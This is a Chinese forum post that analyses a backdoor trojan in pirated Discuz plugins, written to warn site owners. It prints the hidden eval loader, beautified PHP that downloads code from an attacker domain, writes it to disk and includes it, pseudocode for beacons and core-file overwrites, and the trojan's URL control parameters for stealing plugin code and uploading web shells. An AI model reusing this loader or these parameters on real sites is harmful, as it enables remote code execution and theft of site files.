lovetvb 發表於 2023-3-29 14:04:09

您认为你的网站还很安全吗?风靡全网的Discuz盗版插件后门木马你了解过吗?

<font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">在曝光这个后门木马之前,我们考虑了很久要不要曝光,这个后门我们去年就已经发现了,而且第一时间公布到群里面!在群里的用户可能很早都知道这个后门!</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">但是始终没有曝光在网站内!原因是从这个后门的复杂程度来看,此人不简单!我们不想惹!并不是我们怕!明着来我们不怕什么!</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">明枪易躲,暗箭难防!唯女子与小人为难养也!</font></font><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">正文开始:</font></font><hr class="l" /><font face="&amp;quot;"><font color="#333333">这个后门样本是最早发现在飞*房产(</font><font color="#2e8b57"><strong>后门和插件作者无关,正版的无此后门</strong></font><font color="#333333">)&nbsp;&nbsp;后来我们又在用户给我们提供的插件里面根据关键词 发现很多都带这个后门,</font></font><font face="&amp;quot;"><font color="#333333">那么下面我们开始分析:本次样本为 克*APP 3.51(</font><font color="#2e8b57"><strong>后门和插件作者无关,正版的无此后门</strong></font><font color="#333333">),因为距离第一次发现太久,那个样本没有了!</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">首先我们是在一个模板文件发现了异常(如图)</font></font><img title="0397924a0047a451.png" id="aimg_21263" aid="21263" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143316ky0yy6q1iz40y412.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143316ky0yy6q1iz40y412.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="362" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><ol><li>eval(dfsockopen($commen))</ol><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">很明显的一句话后门。但是整个文件就这一行代码!没有一句话应有的参数!而 $commen 这个变量也并未在这个文件赋值, 全文件找了下发下在下面这个文件有 $commen&nbsp;&nbsp;变量的赋值</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">function_comiis_load.php</font></font><br /><img title="1b6a64598a16b957.png" id="aimg_21262" aid="21262" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143316mhmqrrgervp6zpmd.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143316mhmqrrgervp6zpmd.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="600" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">但是这个值经过了一系列“混淆”,我们一步步来拨开这个烟雾弹</font></font><ol><li>$title=dfsockopen($url);</ol><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">这里有个远程请求!那么我们把这个 $url 变量调试出来,先把代码搬过来</font></font><br /><img title="3707e98902e5a77e.png" id="aimg_21261" aid="21261" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143316j6yh667x8ctf918x.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143316j6yh667x8ctf918x.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="455" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">调试得到 $url 的值为:</font></font><ol><li>://94203.vip/20190305.png</ol><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">这里已经是个正常的链接了,我们获取这个文件的内容试试(也可以通过浏览器的下载功能直接下载这个图片,然后通过记事本打开)</font></font><br /><img title="9bd18e7e81629adf.png" id="aimg_21260" aid="21260" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143316fls9id90j46d9jic.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143316fls9id90j46d9jic.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="341" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><ol><li>moqu8ctrlabcctrl://ctrl.ctrl/ctrl.*ctrlecho &quot;990&quot;;ctrl./config.phpctrl6692ctrlhttpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseofn`lpsck`xmlctrl`.*?`ctrl6692ctrlhttpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseoff`lpsck`xmlctrl./baiduin.phpctrltemplate/index.htmlctrlpic.png<br /><li></ol><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">继续对这串不知道什么玩意的内容进行整理(直接搬后门的代码过来取值就是)</font></font><br /><img title="bdaf20248d156f57.png" id="aimg_21259" aid="21259" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143316zdtzded5neeqxwhu.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143316zdtzded5neeqxwhu.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="600" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">得到内容</font></font><ol><li>http://94203.vip/baiduseofn.xmlCopy</ol><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">继续往下调试,发现紧跟的这几段是让代码看起来像一个正常代码,其实并无实际用途!都是一些赋值然后其实并不会调用,也许后面会用到先放这里不做分析</font></font><ol><li>list(,,, $tagid, $type,$page ) = func_get_args();<br /><li>&nbsp; &nbsp; $rewriterules=$_G['cache']['plugin']['comiis_app'];<br /><li>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$identifier=substr($_GET['id'],0,strpos($_GET['id'], ':'))?substr($_GET['id'],0,strpos($_GET['id'], ':'));$_GET['id'];<br /><li>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$plugin['identifier']=$plugin['identifier']?$plugin['identifier'];$identifier;</ol><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">紧随其后的是,翻译出来看看是判断什么 然后调用了什么文件!</font></font><br /><img title="0ab47219c3c2de1f.png" id="aimg_21258" aid="21258" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143316lgmfeydte0ucsqyq.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143316lgmfeydte0ucsqyq.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="600" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">因为 $tag 前面已经取了这个的值,我们直接调用,打印出内容看看</font></font><br /><img title="140ab06e711ceed1.png" id="aimg_21257" aid="21257" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143316ccu04ulwl805pvl2.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143316ccu04ulwl805pvl2.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="275" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">得到一个数组</font></font><br /><img title="e994d5e52d9e0cf5.png" id="aimg_21265" aid="21265" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143443cac6ac011yirarrg.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143443cac6ac011yirarrg.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="543" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><ol><li>Array<br /><li>(<br /><li>&nbsp; &nbsp; =&gt; moqu8<br /><li>&nbsp; &nbsp; =&gt; abc<br /><li>&nbsp; &nbsp; =&gt; ://<br /><li>&nbsp; &nbsp; =&gt; .<br /><li>&nbsp; &nbsp; =&gt; /<br /><li>&nbsp; &nbsp; =&gt; .*<br /><li>&nbsp; &nbsp; =&gt; echo &quot;990&quot;;<br /><li>&nbsp; &nbsp; =&gt; ./config.php<br /><li>&nbsp; &nbsp; =&gt; 6692<br /><li>&nbsp; &nbsp; =&gt; httpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseofn`lpsck`xml<br /><li>&nbsp; &nbsp; =&gt; `.*?`<br /><li>&nbsp; &nbsp; =&gt; 6692<br /><li>&nbsp; &nbsp; =&gt; httpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseoff`lpsck`xml<br /><li>&nbsp; &nbsp; =&gt; ./baiduin.php<br /><li>&nbsp; &nbsp; =&gt; template/index.html<br /><li>&nbsp; &nbsp; =&gt; pic.png<br /><li>)</ol><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">这样就很容易翻译那段代码的意思得到结果为:</font></font><ol><li>if(@filesize('./config.php') != '6692'){ @include_once DISCUZ_ROOT.'./source/plugin/comiis_app/'.'template/index.html';}</ol><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">这句话翻译成大白话的意思就是&nbsp;&nbsp;如果 ./config.php 文件的大小 不等于 6692 字节&nbsp;&nbsp;则引用 template/index.html 这个文件 注意到了吗? template/index.html 这个文件正式我们一开始发现端倪的文件</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">现在插件是第一次运行,./config.php文件是不存在的 所以大小肯定是不等于 6692 的,所以我们继续调试!来到 template/index.html 这个文件</font></font><ol><li>eval(dfsockopen($commen))<br /><li></ol><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">这句代码意思是 先读取远程链接返回的内容,然后执行! $commen&nbsp;&nbsp;这个变量的值我们前面已经知道了 就是下面的内容 (我们可以通过浏览器访问这个链接,然后右键查看源码,得到这个文件所返回的内容)</font></font><ol><li>http://94203.vip/baiduseofn.xml</ol><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">返回内容如下:</font></font><img title="9ee413359bca435e.png" id="aimg_21264" aid="21264" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143443k9dn4nyp05n90gu2.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143443k9dn4nyp05n90gu2.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="600" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">也就是说 即将执行的代码就是这段代码,复制下来 调试一波,顺便美化一下,方便阅读</font></font><ol><li>function content($svip)<br /><li>{<br /><li>&nbsp; &nbsp; ini_set('max_execution_time', '0');<br /><li>&nbsp; &nbsp; if (function_exists('file_get_contents')) {<br /><li>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$data = file_get_contents($svip);<br /><li>&nbsp; &nbsp; } else {<br /><li>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$ch = curl_init();<br /><li>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$timeout = 5;<br /><li>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_URL, $svip);<br /><li>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_HEADER, 0);<br /><li>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);<br /><li>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);<br /><li>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);<br /><li>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);<br /><li>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);<br /><li>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$data = curl_exec($ch);<br /><li>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;curl_close($ch);<br /><li>&nbsp; &nbsp; }<br /><li>&nbsp; &nbsp; return $data;<br /><li>}<br /><li>$svip = preg_replace(array(&quot;/&quot; . $tag . &quot;/&quot;, &quot;/&quot; . $tag . &quot;/i&quot;, &quot;/&quot; . $tag . &quot;/&quot;), array($tag, $tag, $tag), $tag);<br /><li>if (content($svip)) {<br /><li>&nbsp; &nbsp; file_put_contents($tag, content($svip));<br /><li>&nbsp; &nbsp; require_once $tag;<br /><li>}<br /><li></ol><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">因为代码中依然用到了 $tag 变量,所以我们继续放之前的调试文件调试,我们先来 取&nbsp;&nbsp;$svip 这个变量对应的值,得到一个链接</font></font><ol><li>http://94203.vip/baiduseoff.xml</ol><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">之前我们已经打印了 $tag 的内容&nbsp;&nbsp;可以得到&nbsp;&nbsp;$tag 的内容就是 ./baiduin.php</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">继续放下调试 翻译出来的大白话意思就是 如果远程访问 上面的 的链接 返回的内容不是空的 则写入 返回的内容到文件 ../baiduin.php 并且马上引用这个文件<br />既然又要引用新文件,那么我们就得看看这个文件的内容了 (我们可以通过浏览器访问这个链接,然后右键查看源码,得到这个文件所返回的内容) 其实这里和前面一个步骤很像,<br />你也可以理解成是一层壳!得到一个比较大的文件了(如图),有种预感,马上要正式进入后门的领域了,前面一系列操作其实都是烟雾弹</font></font><img title="961f8d5b135ff355.png" id="aimg_21256" aid="21256" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143316m8uttuinmnxtzbwb.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143316m8uttuinmnxtzbwb.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="600" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">内容太长就不粘贴出来了 感兴趣的可以下载下面的附件(代码为了方便阅读,美化过,其实你也可以访问下面的链接得到这个文件样本)</font></font><br /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">其实这个文件是进行了简单加密的。我们给他解密!因为是比较简单的加密,而且我们这次的重点不是讲解加密与解密。下面直接上图解密,就不讲解了</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">得到解密后的文件</font></font><br /><img title="7bd46da1e4164d25.png" id="aimg_21255" aid="21255" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143316nuicac1hdd1ihu0f.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143316nuicac1hdd1ihu0f.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="600" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">调试木马</font></font><hr class="l" /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">我们调试这个文件,因为我不是 在dz环境调试的,但是这个文件用到了dz自带的几个函数 我们copy过来在调试</font></font><br /><img title="d2b3a2c27d43fbb1.png" id="aimg_21254" aid="21254" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143315ya8wtsei0zgww9jb.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143315ya8wtsei0zgww9jb.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="600" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">调试前先把已知的数据讲解下</font></font><br /><img title="db96550fc970e407.png" id="aimg_21253" aid="21253" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143315u8akupvzkz54izc9.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143315u8akupvzkz54izc9.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="290" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">如果文件./web.php 存在 就删除这个文件,前面的代码都是构造变量,在这句之前用不到</font></font><br /><img title="0cc6632aa55b986e.png" id="aimg_21252" aid="21252" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143315dg3ycm8mhuy68yru.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143315dg3ycm8mhuy68yru.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="554" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">这里的 $identifier 是插件的 标识,代码因为是在插件里面运行的,所以这个变量是dz赋值的$plugin['identifier'],比如我们现在的样本是 comiis_app 那么这个值就是&nbsp;&nbsp;'comiis_app' 继续调试</font></font><br /><img title="e73690994c944fa6.png" id="aimg_21251" aid="21251" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143315xzp8xiwp5wxxc8ix.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143315xzp8xiwp5wxxc8ix.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="600" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">这里开始引用了上面的几个变量,我们把变量输出看看分别是什么</font></font><br /><img title="e2723697bf0a1639.png" id="aimg_21250" aid="21250" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143315jwsluaff4rrras3a.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143315jwsluaff4rrras3a.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="600" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">得到这2个变量分别是</font></font><ol><li>./config.php<br /><li>http://94203.vip/index.txt</ol><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">其实从这里开始感觉分析这个后门已经花了很长时间了,有点累,写的都比较随意了!可能大家都开始看不懂了,还是保持开始的状态继续写!分析起来其实很快,主要是要写,就慢了。 得到这2个变量的值,我们翻译下上面那段逻辑代码</font></font><ol><li>如果 (文件./config.php不存在 且 远程请求http://94203.vip/index.txt的内容不是空) {<br /><li><br /><li>&nbsp; &nbsp; 远程访问(&quot;http://q.94203.vip/5r.php?u=你的域名&amp;r=comiis_app&quot;;<br /><li><br /><li>&nbsp; &nbsp; 写入文件(./config.php, 远程访问http://94203.vip/index.txt返回的内容);<br /><li><br /><li>} 或者如果 (文件./config.php字节大小 不等于 6692 且 远程请求http://94203.vip/index.txt的内容不是空) {<br /><li><br /><li>&nbsp; &nbsp; 写入文件(./config.php, 远程访问http://94203.vip/index.txt返回的内容);<br /><li><br /><li>} 或者如果(文件&quot;插件目录/log.txt&quot;不存在 且&nbsp;&nbsp;插件不是csdn123_news和csdn123com_toutiao) {<br /><li><br /><li>&nbsp; &nbsp; 远程访问(&quot;http://q.94203.vip/5r.php?u=你的域名&amp;r=comiis_app&quot;;<br /><li><br /><li>&nbsp; &nbsp; 写入文件(插件目录/log.txt, 空的内容);<br /><li><br /><li><br /><li>}</ol><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">不知道这样的代码结构 对于不懂PHP的 能不能看懂,懂PHP的直接看源代码就可以。继续调试下面的代码</font></font><br /><img title="b3a80e8bbd1c3071.png" id="aimg_21249" aid="21249" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143315idulfdc5ttlic3fg.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143315idulfdc5ttlic3fg.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="600" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">首先输出这个变量 $deindex</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">得到 这个变量的值为 ./index.bak.php,我们继续用上面的方式翻译上面的这段逻辑代码</font></font><ol><li>如果 (文件./index.bak.php存在) {<br /><li>&nbsp; &nbsp; 删除文件./index.bak.php;<br /><li>}<br /><li>如果 (文件/source/function/function_ajax.php大小 不等于 14798) {<br /><li>&nbsp; &nbsp;如果(远程访问链接http://q.94203.vip/function_cloudaddons.xml返回的不是空内容 ){<br /><li>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;写到文件/source/function/function_ajax.php 内容是 远程访问链接http://q.94203.vip/function_cloudaddons.xml返回的内容<br /><li>&nbsp; &nbsp; }<br /><li>}<br /><li>删除文件./baiduin.php</ol><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">到这里已经开始了 系统文件替换了,其实到这里基本上就结束了,看着是不是好像没有什么大问题?只是替换了一个系统文件和写了一个./config.php文件?<br />先别急着关闭页面,因为下面才是重头戏!我们继续分析写入的这2个文件 从 ./config.php 开始,这个文件写入的是 http://94203.vip/index.txt 返回的内容 我们用浏览器打开 得到文件代码如图</font></font><br /><img title="9c08bc57176f8b66.png" id="aimg_21248" aid="21248" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143315n0pge7in22ibpqgp.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143315n0pge7in22ibpqgp.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="600" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">去掉 用于混淆 让人觉得是正常文件的内容 得到代码</font></font><br /><img title="9b5debcb87ddd553.png" id="aimg_21247" aid="21247" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143315a91za41t9abwt79l.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143315a91za41t9abwt79l.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="583" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">为什么那一段是没用的?因为如果正常访问 其实这就是dz自带的 index.php文件复制过来的 后门控制者访问时如果在链接后面加了 ?s=1 就会执行图片上的代码</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">翻译出来的意思就是</font></font><ol><li>执行代码(&nbsp;&nbsp;远程请求 {域名}/baiduindex.xml 返回的内容 )</ol><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">这里的域名 是通过GET参数获取,也就是说 如果控制住域名忘记续费 根本没有关系 比如 作者 通过这样的形式访问 你的域名/config.php?s=1&amp;domain=94203.vip 就可以 那么/baiduindex.xml的内容是什么,因为是控制者在控制你网站时输入的,所以从代码上得不到这个文件!但是我们可以靠猜来试试,果然一猜就中,他用于木马的域名就文中提到的1个。试了一下 就出来了</font></font><ol><li>94203.vip/baiduindex.xml</ol><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">得到内容(加密了,那就解密看看这个是个什么文件吧)</font></font><br /><img title="203c83a3a0b49640.png" id="aimg_21246" aid="21246" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143315bpswtmwmolqzabkm.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143315bpswtmwmolqzabkm.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="600" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">经过N层解密,得到文件</font></font><br /><img title="9fed05a296d887ba.png" id="aimg_21245" aid="21245" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143314q55d53ku2ivkdoi1.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143314q55d53ku2ivkdoi1.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="600" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">这里已经有获取你网站安装的插件操作的代码的了!这个后门文件还有很多参数!等下我们继续分析! 解密后的样本和原版 在下面的附件 有兴趣的可以研究下</font></font><br /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">下面继续分析,这个木马文件的所有参数(其实也累了,就不调试了,直接丢dz环境跑起来,然后把代码有的参数一个个输进去试) 忽然发现 404,原来作者还加了 指定浏览器功能,也就是说只有这个UA的浏览器才能访问,我们删除这段</font></font><br /><img title="cdfda1658c364324.png" id="aimg_21244" aid="21244" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143314ykk8zkk88il5ti8z.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143314ykk8zkk88il5ti8z.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="600" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">木马参数</font></font><hr class="l" /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">参数1、&nbsp;&nbsp;你的域名/config.php?s=1&amp;domain=94203.vip&amp;b=header&amp;z=压缩包名字 打包你网站 ./source/plugin&nbsp;&nbsp;目录&nbsp;&nbsp;即打包插件目录,然后下载,代码见下面</font></font><br /><img title="8062b0901c6d0c94.png" id="aimg_21243" aid="21243" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143314ay88z7yzi0zyfxzx.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143314ay88z7yzi0zyfxzx.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="579" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">参数2、&nbsp;&nbsp;你的域名/config.php?s=2&amp;domain=94203.vip 开头涉及到一个插件 aljjyno 不知道干嘛用的,但是只知道有写入文件的功能!也是远程请求,但是这次我们通过前面方法猜域名,没有猜出来!</font></font><br /><img title="3b451fe58b21605b.png" id="aimg_21242" aid="21242" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143314t335i6bbo7i3itbo.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143314t335i6bbo7i3itbo.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="600" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">紧随的是 替换/config/config_global.php 网站配置文件(给你开启开发者模式,这样你安装插件就不会自动删除安装包!不然作者每次打包走的都是没有xml的插件估计也很难受) 接着就是巩固一下后门</font></font><br /><img title="563e6f4dc2581982.png" id="aimg_21241" aid="21241" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143314fd5e7jjkqndd4ted.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143314fd5e7jjkqndd4ted.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="600" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">上面的代码前面讲过 就是判断 ./config.php的大小是不是 6692 如果不是就重新生成,防止木马被你清理或修改 然后 又巩固了一下 /source/function/function_ajax.php 的地位 这个文件前面提到了,但是还没有分析!等分析玩这个文件,我们继续分析这个 在往下 就是 获取你安装了的插件,然后列出列表吧?如果弄了打包的参数 就开始打包下载</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">参数3、&nbsp;&nbsp;你的域名/config.php?s=3&amp;domain=94203.vip后面还要参数 不是很重要 这个就是 下载压缩包用的,没什么可以讲解 </font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">参数4、&nbsp;&nbsp;你的域名/config.php?s=4&amp;domain=94203.vip 上传文件到你网站任意位置的好像。</font></font><br /><img title="e556f592143cdbc6.png" id="aimg_21240" aid="21240" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143314izrgj688rzqmg0me.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143314izrgj688rzqmg0me.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="600" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">参数5、&nbsp;&nbsp;你的域名/config.php?s=5&amp;domain=94203.vip&amp;do=1 作用:写入文件</font></font><br /><img title="f1c617fbfd4ad36e.png" id="aimg_21239" aid="21239" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143314r99su2a9lwrn5rk9.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143314r99su2a9lwrn5rk9.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="451" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">如果带do参数 则写入94203.vip/data.xml 的内容 浏览器访问这个链接 得到的内容 是一个典型的PHP木马。打包网站用的,导出数据库啥的 如果没有带do参数 则写入94203.vip/datatwo.xml 的内容 浏览器访问这个链接 得到的内容 是一个文件在线管理功能。 